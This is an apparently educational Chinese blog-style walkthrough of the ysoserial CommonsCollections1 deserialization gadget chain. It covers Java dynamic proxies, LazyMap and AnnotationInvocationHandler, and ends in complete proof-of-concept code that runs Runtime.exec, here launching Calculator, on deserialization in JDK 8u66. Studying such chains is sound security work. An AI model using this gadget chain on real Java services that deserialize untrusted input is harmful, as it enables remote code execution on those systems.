CommonsCollections1
这条是ysoserial中的CC1利用链。在ysoserial中没有用到TransformedMap,而是改用了LazyMap,并且使用到了Java对象代理。
- 这条链在Java 8u71以后就不能利用了,这里使用的环境是JDK8u66
 

- 取消勾选此处两个
EnableIDEA中Debug时调试器会调用一些toString方法,从而造成非预期的命令执行
 
Java对象代理
Java对象代理,可以通过代理来操作一个真正的实例对象,通过代理模式来重写那些需要增强的原对象的方法
如果想劫持一个对象内部的方法调用,需要用到java.reflect.Proxy#newProxyInstance
- 第一个参数是
ClassLoader,默认即可; - 第二个参数是我们需要代理的对象集合;
 - 第三个参数是一个实现了
InvocationHandler接口的对象,里面包含了具体代理的逻辑 ```java Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[] {Map.class}, handler ); 
创建一个代理类```javaimport java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.util.Map;public class ExampleInvocationHandler implements InvocationHandler {protected Map map;public ExampleInvocationHandler(Map map) {this.map = map;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable{System.out.println("Hook Method: " + method.getName());if (method.getName().compareTo("get") == 0) {return "Hacked Object";}return method.invoke(this.map, args);}}
实现,创建一个App.java
import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class App {public static void main(String[] args) throws Exception {InvocationHandler handler = new ExampleInvocationHandler(new HashMap());// 实例化代理类Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);proxyMap.put("hello", "world");// 当方法为get时触发代理类中的函数String res = (String) proxyMap.get("hello");System.out.println(res);}}/* 输出结果Hook Method: putHook Method: getHacked Object*/
这里可以看到
- 动态代理对象
proxyMap调用的方法都会被转发InvocationHandler接口类的invoke()方法进行处理,如这里的put()/get() - 另外调用
get()时触发函数,劫持返回内容,输出了Hacked而不是world 

LazyMap
之前以为这就是在解决CommonCollections1这个利用链在高版本Java中不可用的问题。其实不然,即使使用LazyMap仍然无法在高版本的Java中使用这条利用链,主要原因还是出在
AnnotationInvocationHandler这个类的修改上
LazyMap的漏洞触发点和TransformedMap唯一的差别是:
- TransformedMap是在写入元素的时候执行
transform 而LazyMap是在其
get方法中执行的factory.transform()。LazyMap在get找不到值时,就会调用transform去获取一个值构造POC
LazyMap和TransformedMap都来自Common-Collections库,并继承AbstractMapDecorator。需要现在LazyMap中找到调用transform方法的地方
这里可以复用
CommonCollections的前半段POC,TransformedMap改为LazyMap,运行一下可以正常弹出计算器 ```java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap; import java.util.Map;
public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( “getMethod”, new Class[]{String.class, Class[].class}, new Object[] {“getRuntime”, new Class[0]} ), new InvokerTransformer( “invoke”, new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]} ),
new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();// Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Map outerMap = LazyMap.decorate(innerMap, transformerChain);outerMap.get("test");}
}
<a name="gF4IT"></a>### 寻找漏洞触发点- 跟入`LazyMap.decorate`方法,此处调用`LazyMap`的构造函数,传入的`Transformer`赋值给`factory`变量```javapublic static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}protected LazyMap(Map map, Factory factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");} else {this.factory = FactoryTransformer.getInstance(factory);}}protected LazyMap(Map map, Transformer factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");} else {this.factory = factory;}}
在下面的
get()方法中触发了transform(),但前提条件是LazyMap在get找不到值,即Key不在Map中,才会进入if循环,调用transform去获取一个Value并放入Map中public Object get(Object key) {if (!super.map.containsKey(key)) {Object value = this.factory.transform(key);super.map.put(key, value);return value;} else {return super.map.get(key);}}

但
AnnotationInvocationHandler的readObject方法中没有直接调用到Map的get(),而是在invoke()方法中进行了调用 ```java public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals(“equals”) && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError(“Too many parameters for an annotation method”); } else { byte var7 = -1; switch(var4.hashCode()) {case -1776922004:if (var4.equals("toString")) {var7 = 0;}break;case 147696667:if (var4.equals("hashCode")) {var7 = 1;}break;case 1444986633:if (var4.equals("annotationType")) {var7 = 2;}
}
switch(var7) {
case 0:return this.toStringImpl();case 1:return this.hashCodeImpl();case 2:return this.type;default:Object var6 = this.memberValues.get(var4);if (var6 == null) {throw new IncompleteAnnotationException(this.type, var4);} else if (var6 instanceof ExceptionProxy) {throw ((ExceptionProxy)var6).generateException();} else {if (var6.getClass().isArray() && Array.getLength(var6) != 0) {var6 = this.cloneArray(var6);}return var6;}
} } }
整理一下,这里大致利用路径为:- `AnnotationInvocationHandler.readObject()`- `AnnotationInvocationHandler.invoke()`- `LazyMap.get()`- `ChainedTransformer.transform()`- 剩余的几条`Transformer````java/*Gadget chain:ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()Requires:commons-collections*/
那么如何调用invoke呢,此时就需要用到了Java的对象代理
回看
sun.reflect.annotation.AnnotationInvocationHandler,会发现实际上这个类就是一个InvocationHandler。如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get
修改POC
前面的POC跟上一篇的Demo一样,都是手动触发漏洞。这里需要构造为
readObject触发利用链
- 先注释触发漏洞的
get()方法,然后实现AnnotationInvocationHandler的Proxy代理类 ```java // outerMap.get(“test”); 
// 获取AnnotationInvocationHandler的构造函数 Class clazz = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true);
// 利用构造函数实例化,创建与outerMap关联的InvocationHandler InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
// 实例化代理对象,proxyMap调用的方法都会被转发InvocationHandler#invoke方法 Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[] {Map.class}, handler );
- 此时直接对`proxyMap`进行序列化是不会执行命令的,因为前面创建的是与`outerMap`关联的`InvocationHandler`(第9行),因此需要再用`AnnotationInvocationHandler`对这个`proxyMap`进行包裹```javahandler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
- 后续再构造序列化和反序列的操作,另外前文说了,LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题,所以这里需要在8u71之前的版本才能成功运行并弹出计算器
 
完整代码
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[] {"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class},new Object[] {null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();// Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Map outerMap = LazyMap.decorate(innerMap, transformerChain);// 获取AnnotationInvocationHandler的构造函数Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);// 利用构造函数实例化,创建与outerMap关联的InvocationHandlerInvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);// 实例化代理对象Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);// 使用InvocationHandler对proxyMap重新包裹handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);// SerializationByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(handler);System.out.println(baos);// DeserializationByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);Object o = (Object) ois.readObject();ois.close();bais.close();oos.close();baos.close();}}
其它
- 发现ysoserial中的Transformer数组最后增加了一个
ConstantTransformer(1)
前面的POC运行后报错如下:final Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] {String.class, Class[].class },new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class },execArgs),new ConstantTransformer(1)};

添加ConstantTransformer(1)后报错如下:
 
